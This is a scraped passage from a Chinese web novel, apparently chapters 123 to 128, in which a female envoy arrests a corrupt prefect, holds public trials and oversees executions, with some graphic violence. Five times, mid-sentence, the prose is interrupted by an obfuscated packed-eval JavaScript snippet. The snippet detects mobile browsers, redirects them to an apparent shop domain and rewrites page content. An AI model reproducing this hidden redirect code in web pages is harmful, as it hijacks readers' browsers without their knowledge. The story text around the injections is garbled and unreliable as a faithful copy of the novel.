成王败寇,他本就该有这个待遇,然而此刻梁恒却控制不住的发起抖来。如今的下场是当初做决定时就想过的,可为何这一日当真到来时,他依旧会感到如此痛苦?他心中确实十分后悔,但他后悔的并不是自己曾经做过的那些事,而是他为什么不能做的再隐蔽一点?今日回府为什么不能再谨慎一点?为什么就把这么两个大杀器放进府中? 如果没被人发现,如果这两个女人没来到黔州府,他依旧是黔州地界万万人之上的梁知府。这种直入心灵的后悔让他整个人都显得万分扭曲。 “早知如此,若是早知如此……” “嗯?” “我就该再谨慎一些。” “……哈。” 九阙讽刺一笑,她早就该想到像梁恒这样的人绝对不会为自己做过的事后悔,他只会后悔自己没能再小心谨慎些。对这样的人多一丝关注,就是对自己的羞辱。 “你还真是狗改不了吃屎。” “你竟敢如此羞辱我?就算我成了你的手下败将,你也不当如此羞辱一个朝廷命官!你一个平民之身,谁给你的胆子这么做?” 说实在话,都到了这个地步,梁恒还端着他的官威,实在叫人觉得可笑。九阙干脆上前一步狠狠赏了他一个大耳光。 “我早就想打你,说实话,像你这样端着百姓的碗还嫌弃百姓的饭馊的人,我虽然不是第一次见,但依旧恶心!我是陛下亲封的钦差,为的就是将你这等大景害虫揪出摁死,这个答案你可满意了?” 此处虽然只是简单的书房,并不是公堂之上,可九阙这一连串问话却像是一个又一个的大耳光狠狠扇在梁恒脸上,将他打的无法招架。 钦差? 朝廷什么时候有女钦差?虽说朝中有那么几个女官,但也只是位于不重要的位置,不显眼的很。像钦差这样的任务,不该交给男性官员吗? 然而梁恒毕竟是从底层一路杀上来的官员,自有其过人之处。短暂的惊愕过后,梁恒已然清醒,如今这位钦差大人想要的不过是真正的幕后主使。而他绝对不能吐出来,幸亏针对这种情况他早就已经有所准备,眼中闪过一丝疯狂,猛然抬头大喊。 “说这么多,你不就是想知道我和哪位皇子勾结吗?不怕告诉你,与我勾结的,正是三皇子!” “……你以为我蠢?三皇子早已暴毙,这个消息传遍大景。现在你告诉我,你和一个死人相互勾结?” “钦差大人为何聪明一世糊涂一时?三皇子暴毙,我自然无法与他勾结,但是他活着的时候与我可是联系密切。不然你以为那些回春丹是谁给他的?自然是我。不信的话,您现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501276|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在可以翻看那些账册,虽说这些钱财流入许多朝中大臣手里,但收益最多的却是三皇子。微臣所言句句属实,不敢有丝毫隐瞒。” “……” 微微眯起眼,九阙却不得不承认梁恒这一招实在是高,把这一切都推到一个已经死掉的皇子身上,虽说自己难逃一死,但说不定背后真正的主子能看在他尽忠职守的份上保一保自己的后人。 而说出这番话后,梁恒一咬牙一跺脚,狠狠咬向自己的舌头。没尝试过的人可能会觉得咬舌自尽这件事儿很简单,不就是把舌头咬断吗?但实际上,舌头是人身上最硬的肌肉,一般人很难在第一时间把舌头齐根咬断。一是因为太费力气,二是因为,这毕竟是自己的肉,就算真下定了决心,身体的本能也会在咬下去的一瞬间稍微收点儿力气。而且退一万步说,就算真把舌头咬断了,也不一定会当场就死。除非你真的天赋异禀咬到舌根大动脉,血流不止,血尽而亡,要不就是倒霉透顶,被血呛死。 更何况梁恒还被点了穴道,力气不如平常的十分之一,九阙愣了一下之后,快速上前掰开他的嘴查看情况。 梁恒当然想抵抗,可九阙的力气哪里是现在的他能比得了的?只听见咔嚓一声,梁恒的下颌就被掰掉,合不拢嘴,血水哗啦 啦的往外流。 仔细看了看,发现对方只是咬出了几个血口子,九阙就不在意了,发现梁恒痛苦万分的表情,更是忍不住想笑。这就叫搬起石头砸了自己的脚吧。不仅没死成,还得忍受这种常人难以想象的痛苦。 九阙根本就没想过给他包扎,先让他疼半个时辰再说,梁恒如今受到这点儿疼痛,远不如那些在矿场上丢掉性命的人。 不过对方执意不肯说出背后的真正主谋是谁,倒是叫九阙有些头疼。然而她已经将梁恒抓住,连罪证都是现成的,刑讯逼供这种事儿还是交给专业人士来干吧。话说她这么一耽搁,也出来一个多月了,也不知家里如何了…… 第一百二十四章 梁恒死 只是本来以为自己已经功德圆满的九阙怎么也没想到后来会发生那样的意外,以至于让这次还算完美的旅途出现了些许瑕疵。 千里之外的皇城,戒备森严的皇宫内,一个身穿黑衣的探子拿着刚到的消息飞奔着朝养身殿赶去。 早已经得到消息等待已久的景泰帝迫不及待的伸出手,拿起那张薄薄的纸看了起来。景泰帝看信的速度很快,渐渐的,脸上露出个舒畅的笑容,甚至还拍了拍龙案。 “好!好啊,不愧是九阙。误打误撞就破了案,这才出去多长时间?真是少年英才!” 目光撇到侍立一旁的九福,景泰帝轻咳两声。 “当然了,另外几个孩子都很不错。尤其是你那义子,武艺高强,在抓捕梁恒罪犯余党的时候可是出了大力气。哦对了,他这次出去还受了点儿小伤,回来之后可得好好补补。” “陛下言重了。魏渊那小子能为陛下做事,是三辈子修来的福分,他正年轻,正是摔打的时候,受点儿伤算什么?养养就得了。” 虽说心中很是担忧,但九福却满不在乎的表示可以随意用魏渊。虽说这一次受了伤,但好歹也在陛下面前挂上了号。这年头只要能得到陛下的赏识,其余人是什么态度根本不重要。 景泰帝心情不错,也有心思和九福开玩笑。一边接着看信,一边开口。 “你这老小子,临了临了收了个这么好的义子,你倒是开心了。你这是后继有……” 景泰帝的声音突然断了,方才还笑容满面的脸上此刻阴云密布。最擅长识别景泰帝情绪的九福心中一凛,知道应当发生了不得了的大事。也不敢再跟景泰帝玩笑,毕恭毕敬的垂下了头。 片刻过后,景泰帝猛然一拍桌案,这和刚刚的高兴可不同,桌上的砚台被拍的狠狠蹦起,桌上打了好几个滚儿,砰的一声落在地上。作为服侍的宫女太监齐刷刷跪地,生怕陛下的怒火会牵连到他们身上。 “陛下恕罪——” “这群狗贼!真把朕当成蠢货糊弄了?还把这一切都推到老三头上,老三早就入土了!可不是吗?把罪过推给一个死人,死人又不能开口说话,一切万事大吉,你好我好大家好,多好!好的很啊!” 景泰帝几乎咬牙切齿,他是痛恨老三不假,但这并不代表他可以容忍那些狗贼把所有的罪名全都推到老三一个人头上,就老三那蠢货,他能盘得了这么大的局面?他能收服得了梁恒? 自己是他爹都不相信,更别说别人了。可那该死的梁恒就是一口咬定这一切都是老三指挥,硬是不肯吐出真正凶手的名字。 哈,没关系,等那该死的梁恒回到京城,有的是人能撬开他那张嘴!景泰帝眼中闪过一丝血腥,他可不是心慈手软的帝王,这世上就没有撬不开的嘴! 只是就在此刻,又一个黑衣人急匆匆赶来,手上捧着一张眼熟的纸。看着那张纸,景泰迪心中有了个不太好的猜想,果然,等拆开那封信大致看过后,景泰帝闭了闭眼,有些无力。 那梁恒,竟是在众目睽睽之下被杀了!杀他的不是别人,正是黔州境内被压迫已久的百姓!首当其冲的就是那些被强压的矿场挖矿的苦命人! “唉……” 这也算是他罪有应得吧。景泰帝当然有些失望,可能梁恒之前不仅攀扯老三,还试图攀着另外三个皇子。难不成他这四个孩子都和朱砂矿一案有关?梁恒不过是为了浑水摸鱼罢了。 从信中能看出九阙担忧无奈又委屈的心理,景泰帝也并不想责怪她。这孩子哪能料到那些温顺的百姓会突然暴起几乎将梁恒生生撕碎呢?也不知她受惊没有?就算没有梁恒,还有那么多证据,以及梁恒的属下,总会有所突破。 不过…… 帝王多疑的心思此刻再次显现,那梁恒当真是因为百姓的愤怒才死的吗?百姓有多么容易被煽动,景泰帝最是了解不过。莫非是那真正的幕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501277|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后主使一直在关注九阙等人,在他们找到关键人证之际迅速出手,借着百姓之手抹杀梁恒?同时也抹杀了找到自己的可能性? 景泰帝思索了许久,最终还是长叹了口气,这一切还是先让九阙他们回来再说吧。 这次交上来的名单涉及朝廷官员十七个,等到九阙把人证物证都带回来,又是一场腥风血雨。只怕回来的路上不会太过安全。好在九阙这丫头机灵,跟随押送贡品的军队一同进京,这世上应当是没人有那么大胆子胆敢动进献给皇帝的贡品。 但景泰帝还是不放心,之前就以为做了万无一失的准备,结果那孩子还没进到黔州地界就被抓走,还当了这么多天的苦力,吃了那么多苦。他得找人接应。 目光看到旁边安静的九福,景泰帝一锤定音。 “九福,你去接他们,刚好提前见见你那义子,看看他伤势如何了。” 九福虽然有些惊讶,但还是跪下接旨。要知道他作为陛下的大总管,自从陛下登基之后就没再出过皇城。没想到有朝一日领了皇命出城,竟是为了接自己的义子。 这让九福忍不住觉得面上有光,虽然他也知道这大概是沾了那位应县主的光,但这也控制不住让他高兴啊。 而已经从黔州出发的九阙怏怏 的坐在马车上,不知道是不是受到心情影响,原本出京的时候并不晕车的九阙此刻竟觉得恶心想吐。这摇摇晃晃的马车再也不是催她入眠的神器,反而叫她头疼不已。 即使事情已经过去好几天,再想到那日发生的事情九阙还是忍不住抓狂,甚至开始拽自己的头发。 “啊啊啊啊啊!让我知道到底是谁私下下的手,我非劈了他不可!梁恒可是我们此行抓到的最大人证。他还没把真正的幕后主使供出来,怎么就能死了呢?而且还死的那么可笑。亏我还以为他是个人物,这死的也太悄无声息了吧?最关键的是,回去之后陛下会不会责怪我们啊?” 第一百二十五章 升堂 当初,九阙已经把黔州学矿山这案子整理的差不多,梁恒在黔州这么多年,不仅仅手底下那每天都有大量出产的矿山值钱,黔州位置偏远,他在这里几乎是土皇帝的存在,这么多年来,他做过的恶事不少,尤其是他的亲族,借着他的名义做的恶事数也数不清。 虽说百姓们敢怒不敢言,但心中都有一把称,在发现梁恒多日没出府,而且突如其来的外地人包围了黔州府衙并且四处抓人这事儿大伙儿还是知道的,因此不少苦主都悄悄地关注府衙的情况。他们大多是失去了亲人已经没有什么活下去的希望,穷途末路之人,因此在仔细观察了两天之后,就有人按捺不住,趁着九阙出来之际,直接当街高呼“冤枉”,求着九阙做主。 九阙还是第一次遇到这种当街磕长头向她喊冤的情况,和淳于霜对视一眼,就知道这事不会小,于是干脆开了黔州府衙,命人在外面四处宣讲,让所有有冤之人都可以前来申冤。 这话一出,整个黔州境内都动了,刚开始只是黔州府城的百姓,大着胆子求熟识的文人写了状子,当发现这位女官当真受理之后,大半个黔州府的人都去看热闹。虽说大多数人都只是去凑个数,但那些离得近的百姓却可以真正看见里面的情况,甚至可以给后面的人转告。 头一次审理案子的九阙还有些紧张,看一眼旁边给自己充当书吏的淳于霜,以及壮胆子充门面的魏渊谢明尘,九阙清了清嗓子,示意苦主开口。 “大人啊!小人叫张昊,家就住在城东二条巷,草民要告黔州知府梁恒的妻弟王锦华!草民一家是卖糖果子的,他在街上闲逛之时看上我家小妹貌美,竟当街将人掳走,我爹看见后拼命追赶,他竟直接纵马将我爹踩死了!我娘亲想要将我爹送医,他嫌弃我娘哭闹,直接从马上扔下来个水囊,砸中我娘脑袋,我娘当场昏迷不醒,他则是扬长而去!” “等我得到消息赶到之际,我爹已经去世,我娘就剩一口气吊着,想看我妹妹平安回去。草民赶去要人,却被打断了腿,好不容易归家,发现果子铺已经被张锦华烧了个一干二净!” “草民悲痛欲绝,谁曾想,那张锦华无耻至极,三日后将我妹妹遍体鳞伤的尸体扔到家门口,甚至扬言谁要是帮我,就是和他过不去,若是不想落个家破人亡的下场,就不要跟我扯上关系。我那可怜的老母亲当场就咽了气。草民虽是个普通人,但也是个男人,是家里的顶梁柱,想为自己的家人讨回个公道。可在此之前小人从未想过,这世上想讨个公道竟然这么难。怎么就这么难啊?小人耗尽家财却求告无门,这一切都是因为那张锦华有个当知府的姐夫!” 说到这里,苦主原本已经麻木的表情迅速弥漫起复仇的烈焰,他几乎是咬牙切齿的诉说梁恒的无耻。 “草民等了很久,终于找到机会面见梁恒,想向他诉说小民一家所遭受的苦难,也是想请他管束自己的小舅子。可谁曾想到那梁恒表面上伤心愧疚,将小民哄得团团转,转头就把这件事儿告诉了张锦华,那狗贼当天夜里就来报复,打死了我的妻儿,还把草民的胳膊腿全都打断,让我绕着黔州城爬一圈儿才肯放过我。” “小民还能怎么办?家中只剩下我一个活着的人,如果我也死了,谁还能亲眼看到张锦华和梁恒狗贼的下场?小民爬了整整两天两夜才爬完,身上没有一块好肉,若不是得到好心人的救助,早就已经死了。” “小民苦苦熬了五年,终于等到青天大老爷降临,大人还请您明晰冤情,为草民往死的一家做主!大人,草民求您了!求求您了……” 那苦主伏在地上拼命的磕头,眨眼间地上就多出了一块儿血迹,早在听到这可怜人的诉说时九阙就已经攥紧了拳头,但这毕竟只是一面之词,但还是强压着心中的怒火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501278|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人把张锦华带上来。 张锦华直到今天才知道自己那无所不能的姐夫竟然被抓了起来!而且据说还是朝廷派来的钦差。他也就只敢在黔州城的地界放肆一把,真听到有朝廷派来的钦差,早就吓得两股战战,藏在自己家里不敢出来,本想着就这么藏头露一番能苟的一条性命,谁曾想到人在家中坐,祸从天上来? 竟然有人在这节骨眼儿上状告自己。他本来还想发火,但没想到来抓自己的人高马大的陌生青壮们甚至都没怎么动手,家里养的那群家丁就全被打的就地乱滚,狼狈不堪。看到这情景,张锦华哪儿还有发火的资格?焉头焉脑的就跟着来了。 刚到这熟悉的公堂上,还没跪下来,就感到旁边有几乎要吃了他的视线,张锦华低头看了看那趴在地上狼狈不堪的男人,根本想不起来这到底是哪个。小心翼翼的跪在比较干净的地方,张锦华就开始大声喊冤。 “钦差大人,我是冤枉的!小人什么也没做,您不要听信他的一面之词!” “张锦华你个狗贼!你竟敢说自己是冤枉的,你敢对天发誓自己没做过那些亏心事吗?” “这有什么不敢的?我现在就对天发誓,我张锦华要是做了什么亏天理的事情,就让我天打五雷轰,不得好死!” 张锦华十分熟练的发着誓,倒是把那苦主一时间噎得说不出话。像他这样的人,只是发几句誓有什么大不了的? 这群平民就是可笑,真以为说几句话上天就会降下惩罚?若真是如此的话,这天底下哪儿还会有不平之事? 所谓的老天爷,所谓的举头三尺有神明,不过是那些走投无路之人劝自己的话罢了。因为没有能力抵抗别人对他们的压迫,所以只能用这些话来骗骗自己,好让自己能够得到片刻的安宁。 这种话骗骗小孩子还差不多,还想诈他?真是不自量力。 第一百二十六章 判案 “公堂之上,岂容你放肆?!” 苦主被张锦华的操作搞得一愣,一时间不知该说些什么,九阙坐在公堂之上却看的清清楚楚,这混账东西想通过这样装疯卖傻的法子给自己脱罪。还真是想错了办法! 她狠狠拍了拍手中的惊堂木,清脆的声音在公堂之上回荡,吓得张锦华打了个哆嗦。 只是他感到有些奇怪,这公堂之上坐着的钦差大人怎么是个女人的声音?大着胆子往上面看了看,嗬!还不止一个女人,还有一个正坐在旁边儿的桌案上一边看自己一边笔下不停记着什么呢! 张锦华顿时就有些怀疑。他怎么没听过天底下还有女钦差?这不会是骗人的吧? “这位大人,我从未听过朝中有女钦差,不知大人可有证明自己身份的信物?否则这公堂之上,可不是女人该来的地方。” 女人嘛,不过是在后宅之中供他玩乐的物件儿,竟然还要踩在他头上,当真是可笑。 只是还没等张锦华再多说几句,就看到高坐堂上的那个大步流星走过来,对着自己就伸出手,张锦华还没放在眼里,不过就是个瘦弱的女人,能有几分力道?刚好可以趁着这个机会撒泼打滚儿,他可从没听过公堂之上审案的大人还可以亲自下来打人的。 “啪啪啪!” 下一刻,九阙狠狠的三个大耳光,把张锦华整个人打蒙过去。他那高大的身形在九阙手里就像个玩具似的随意拨弄。这三巴掌打过去,顿时打的对方歪倒在地,几颗牙齿伴随着血液被喷出来,在地上滚了好几圈儿才缓缓停下。 下一刻,剧烈的痛楚让张锦华忍不住哀嚎出声。 “好!打的好啊!大人当真是青天大老爷转世!” 那苦主见到此情此景却是哈哈大笑起来,如果不是行动不便,还真想对着张锦华再来几下。 九阙刚刚也是一时间没有控制好自己的情绪,这会儿把对方揍的满地打滚儿才觉得心中那口闷气下去了点儿,她怎么也没想到这世上竟然有这种厚颜无耻之人!打他都怕他高兴! 等到对方哀嚎了许久之后,九阙这才慢条斯理的将人证请上来。本来那要做证的大夫还有些紧张,但是看到九阙赤手空拳将张锦华打的满地打滚之后,突然就放下心来,详细的说了自己之前看到的一切。不仅是他,这会儿那些围观的百姓也纷纷站出来作证。 “没错!张锦华就是做了这一切,我们当初都亲眼目睹!” “这狗贼做的还不止这些!他强占了我们家的五十亩地,我们想去找个说法,他直接把我们当年种的麦子全都给烧了。我们只是些普通小百姓,怎么敢和知府大人的小舅子作对?” “强抢民女这事儿他也不是第一次做了,之前我就亲眼见过他抢了我们邻居家刚嫁过来的小媳妇儿,那小媳妇儿性子烈,当天就跳了河!他害死的人命不止这一条!” “……” 看完人证物证之后,九阙转身坐回椅子上,狠狠的一拍惊堂木。 “张锦华,你借身份之便横行霸道,直接或间接害死人命三十多条,本官在此,判你腰斩之刑!也不必等到秋后了,就今天吧!来人把府衙门前那块儿地给我清出来,现在就行刑!” “大人,大人饶命啊!我知道错了,我真的知道错了!” 张锦华原本还想着等到秋后出行,怎么也得几个月,这几个月之间谁知道会发生什么,说不定就遇到皇帝大赦天下呢?可没想到上面坐着的这个女人竟然等不及秋后,现在就要把自己处刑,而且还是腰斩之刑! 还不如直接判自己砍头呢!砍头也就那一眨眼的事儿,腰斩之刑那么痛苦,他怎么可能受得了? 然而不管怎么求情,酒却都不为所动,张锦华眼看自己是活不了了。这会儿趁着身后的衙役还没上来,一咬牙就朝旁边的柱子碰去,他哪怕一头撞死在这里也不想被腰斩! 然而公堂之上的衙役都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501279|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是九阙此行带来的一众好手,怎么可能任由他逃脱制裁?其中一个不过是轻轻踢了一脚,张锦华就被踢回堂中,狼狈不堪的倒在地上,突然放声大哭起来。 他这是知道自己难逃一死了。 而旁边围观的人看到他这样,更是觉得神清气爽。外边儿围观的百姓亲耳听到九阙的判决,知道这是个可以担事儿的官,而且要把这个大祸害腰斩,顿时呼朋唤友,引来更多的人围观。 这天,黔州城的百姓无疑是激动热情的,毕竟他们这地方终于迎来个青天大老爷。据说这还是朝廷派来的钦差,虽说这位钦差是个女子,但谁说女子就不能判案?瞧瞧这位大人,判处的多么公平。之前的梁恒倒是个男官,可他不干人事儿啊,而且还纵容着自己底下的人祸害那么多老百姓。死了都不亏! 看着那些老百姓都往前面围观腰斩去了,九阙也不能怯场,干脆亲自主持了这场处刑! 那张锦华当真是个软蛋,看到那口锋利无比的大铡刀之际,竟然吓得屁滚尿流,屎尿齐出,旁边围观的人见状只会觉得解气。 九阙眼看着时辰差不多当即挥了挥手,伴随着接连不断的惨叫,这个祸害了无数人命的狗贼,终于在无尽的痛苦中艰难的咽下了最后一口气。 而这还只是个开始,接下来五天,九阙听了数不清的惨案,在人证物证俱全的情况下,基本都是当场处刑。这五天也是整个黔州境内百姓的狂欢,那些他们平日里都不敢骂出声的贪官污吏,竟被朝廷派来的钦差大人一个个全都处死了。 这简直比过年还要热闹。 其实百姓是很淳朴的人,他们只需要能活的下去,就很少会找事儿。像九雀这样愿意听他们的苦楚冤屈,并且为他们做主的人在黔州城境内实在是太少了。百姓口口相传之下,几乎整个黔州地界都知道他们这地方来了个史无前例的青天大老爷! 尤其是那些大仇得报的百姓,甚至在家中供起了九阙的生祠! 第一百二十七章 离去之日 “……” 外面又传来了那群平民的欢呼声。坐在大牢里的梁恒每次听到这欢呼声都是心头一紧,这代表着又有一个人被朝廷派的钦差处决。 他根本无法想象,那个朝廷派来的钦差怎么会这么大胆?在没有得到朝廷批示的情况下竟然就敢处死犯人?她到底哪里来的底气?不过是个名不见经传的女官而已,竟然这么狠。 每每听到外面传来的欢呼声,梁恒都会想到自己的未来,因为每一次欢呼都代表有一个他认识或熟悉的人被处死。这难道也会是自己的未来吗?不,这样的未来实在是太痛苦了,他不能坐以待毙。 “里面的都给我老实点儿,还想吃饭的就别给我搞事儿!” 是牢里的狱卒来放饭了。本来梁恒还安稳的坐着,但是他却发现这个给自己送饭的狱卒在门口停留了一瞬,虽然只是很短的一瞬间,但梁恒却敏锐发现了不对劲。 这个狱卒,好像之前没见过。想到了某个可能性,梁恒的心在扑通扑通的跳。难道是? 等周围都安静下来。左右牢房里的人都在拼命扒饭时,梁恒悄悄走过去,将饭碗端起来,里面是一个干硬的饼子和几撮咸菜。扒拉了一下,果然在那饼子中间发现一个小小的纸团。 此刻心都快要从胸口跳出来,梁恒用眼角的余光打量一下,发现周围没有注意自己的人,这才悄悄在掌心里打开。 当看清楚上面的一行字之后,梁恒眼中猛然爆出希望的火光。果然是主上来救自己了!他就说主上不会放弃任何一个为他做事的人! 在这样满怀期待的等候中,梁恒终于等来了应九阙一行人上京的日子。是的,九阙终于把黔州城这个烂摊子给理顺了。这些时日,黔州上下就跟过年似的,到处喜气洋洋,就差没有张灯结彩了。像他们这样的普通人竟然也能等来为自己做主的官员,这可真是开天辟地头一遭啊,以往那些来当官儿的哪个不是大捞一笔,捞足了油水,这才拍拍屁股走了。谁会在意他们这等脚下的平民? 可现在不同了,这位朝廷派来的女钦差愿意走到他们中间,认真听取他们的冤屈。百姓们中间本来有个风吹草动就能传的所有亲朋好友都知道,更何况是这等颇有谈资的事儿? 以至于九阙现在根本不敢单独出去,那些见到自己的百姓每每见到她,都像见到失散已久的亲人一样,非要把各种特产塞给她。 幸亏她已经把这里的事情处理差不多,要走了。 “按照如今这情形,我看咱们还是悄悄的走吧,别让大家发现。” 府衙里,九阙想起百姓们的热情,依旧心有余悸。 旁边的淳于霜忍不住哈哈大笑,以她的脾性以往不会这么爽朗,但亲眼见到九阙被百姓们扒拉的头发散乱的模样,她忍不住不笑啊。 太可怜了,堂堂陛下亲封的县主,钦差,六品巡城御史。像个小鸡崽子似的被到处扒拉,偏偏应九阙天生神力却不敢用在这种地方,那副可怜巴巴的模样,谁看了都要忍不住大笑。 笑完之后想起自己此行的坎坷,即便是淳于霜的性情都忍不住叹了口气。 “唉,咱们这一路走来可真是不容易。” 若不是她还有几分急智,被抓到矿场之后会是个什么遭遇还说不定呢。不过吃得苦中苦方为人上人嘛,有了这一趟,回去之后怎么也得官升二级。 一想到自己的官职比那个要面子的爹高,淳于霜就控制不住脸上露出更大的笑容呢。哈哈哈,她这回倒是要看看,那个男人到底得有多大的脸才能继续高高在上的指责自己。 还有那些明里暗里瞧不起她是个女子的官员,明明瞧不起自己,还要眼睁睁看着自己爬的比他们还高,说不定他们那张脸都被气的紫了吧? 九阙惊恐的看着淳于霜脸上的表情不停变换的模样。 “她是不是被气疯了?” 如此一问也是因为这些时日被抓起来的罪犯,在发现自己只有死路一条之际,他们往往会选择破口大骂,骂的最多的就是她们这两个女官了。 说实在的,那些男人也真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501280|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有够奇怪。在发现自己在权势力量上比不过女人的时候,往往会立足对方的性别上进行抨击。也不知道身为女子这件事儿到底是怎么惹到他们了,竟能让他们如此在意。 啧啧啧,如果不是亲眼所见,她也不会相信这世上竟然会有如此狭隘之人。 其实让九阙来说也没必要生气,毕竟那些骂自己的人大多都已经转世投胎了。 谢明尘安静的笑了笑。以往他只是不想依托家族做一个乖巧的被安排的棋子,所以才会离经叛道的选择去做大夫。即便在宫中会见到许多龃龉,但那些都隐藏在光明正大的表面之下。像这样正大光明的恶,他人生的前二十几年很少见到。 不得不说,亲眼见到这些黑暗会让人忍不住疲惫,但在解决掉那些贼子,看到百姓们发自内心的狂喜激动时,即便是安静淡泊如谢明尘,也忍不住热血沸腾。 原来做一个明察秋毫,严惩罪恶的好官,是这么让人心满意足。虽说他只是个打下手的,但也难免感受到百姓们的狂喜,他以前离百姓们还是太远了。 魏渊对此倒是感 受颇深。他算是出力比较多的人,毕竟蝼蚁尚且偷生,更何况那些享受了荣华富贵不肯去死的贼子呢?大多数情况下他都是那个负责去抓捕的人。 也正因如此,他是除了九阙之外受到最多欢迎的人。虽说以往魏渊那颗心一直在追求向上之道上,但此刻他依旧忍不住沉下心来,到百姓中去。 或许这才是他们一路走来最大的收获吧。 倒是坐在椅子上安静吃着美味糕点的崔逐风对此没有话说。反正在她看来,这世上的官员都没有九阙一个人来的靠谱,反正这几年她也无事,不如跟在九阙身边看看这个小姑娘到底能走到哪一步。 就是旁边那个叫魏渊的小子,这几日总是时不时看她一眼,难道她在什么时候得罪了对方?她应该也没做什么坏事吧? 在几人讨论归去日期时,门外有个人影悄悄闪过。崔逐风看了一眼,觉得没什么危害,也就不管了。 第一百二十八章 出城 九阙一行人也算是归心似箭,确定好了日期之后,顺便还跟进献贡品的队伍搭上了线,毕竟他们此行要压着一大批财物,凭他们这些人还是单薄了些。 每年各地都要给陛下进献贡品,这样的队伍一般是由各地军队护送,就算是沿途的山贼强盗也不敢胆子大到跟一国之主作对,因此送贡品的队伍反而是最安全的。更何况他们往往由大量军队护送。在亮出自己钦差的身份后,从极南之地过来的进贡队伍十分爽快的同意了,毕竟像他们这种进献贡品的队伍一般都会在沿途中汇合,主要是他们这种偏远之地人手不太充足,得各个地方联合起来才能确保此行的安全无虞。 更何况还能与朝中新贵一起进京,这对他们来说也是件大好事儿。如果愿意,谁会想在鸟不拉屎的地方过一辈子呢?大家都想见见京城的繁华。而这位钦差既然是被陛下亲自派来,肯定简在帝心。至于是男是女,对于他们这种偏远地方来说,其实男女的身份倒是没太大差别。尤其在极南之地,他们那边儿向来是女子当家,此次来进献贡品的队伍也是由一位女将领领导的。 还没有见面之前,双方就已经奠定了彼此的态度,那位难得的女将领也提前带着人马进城,准备护送他们一段儿。在看到九雀和淳于霜时,那位叫百衣淳的女将领更是忍不住爽朗一笑。 她是位豪爽性子的将领,颇有些不拘小节,百依淳身形高大,身上穿着厚重的盔甲也丝毫阻碍不了她的行动。她大步走过来,狠狠拍了拍九阙的肩膀,发现她纹丝不动之时,眼中更是爆出精光。 “好!好啊!我已经很长时间没有见过像这种英姿飒爽的女孩儿了。以前去京中进献贡品,那些狗男人虽然表面上不说,但那种高高在上的态度叫人很是不爽。什么玩意儿啊?大家都是当官儿的,品级还没我高,竟然还敢看不起我。真是欠揍。要不是军师死命拉着,我早就把他们打的满地找牙了。” “说来也是奇怪,以前进京从来没见过女官,我还以为在上京城里已经没有女官了呢。两位妹妹好啊,能在那满是男人的官场里杀出重围,一定付出了很多努力吧。不容易,真是不容易啊。” “呃……” 九阙难得有些心虚。淳于霜这些年在官场上确实吃尽了苦头,可她踏入官场完全是陛下一时兴起啊。估计当初陛下也没觉得她能做到如今这地步。而且她借着钦差的身份便利,在没得到陛下允许的情况下就杀了这么多贪官污吏,说不定回去之后会受到朝廷官员多少攻讦。他们早就看自己不顺眼,肯定不会放过这个千载难逢的机会,不过现在嘛,说什么都还太早,等回去之后再说吧…… “百衣将军严重了,我就是个普通的女官,多亏陛下不嫌弃我蠢笨给了这样的差事。办差途中也是多亏了各位同僚的帮助,才能将罪魁祸首擒拿在案。倒是百衣将军,早就听说百衣将军勇猛过人,十九岁就能带领属下剿灭山匪,实在是英雌中的英雌。” 百衣淳有些惊讶的把最后一句话咀嚼了好几遍,然后哈哈大笑,猛拍九阙的肩膀。 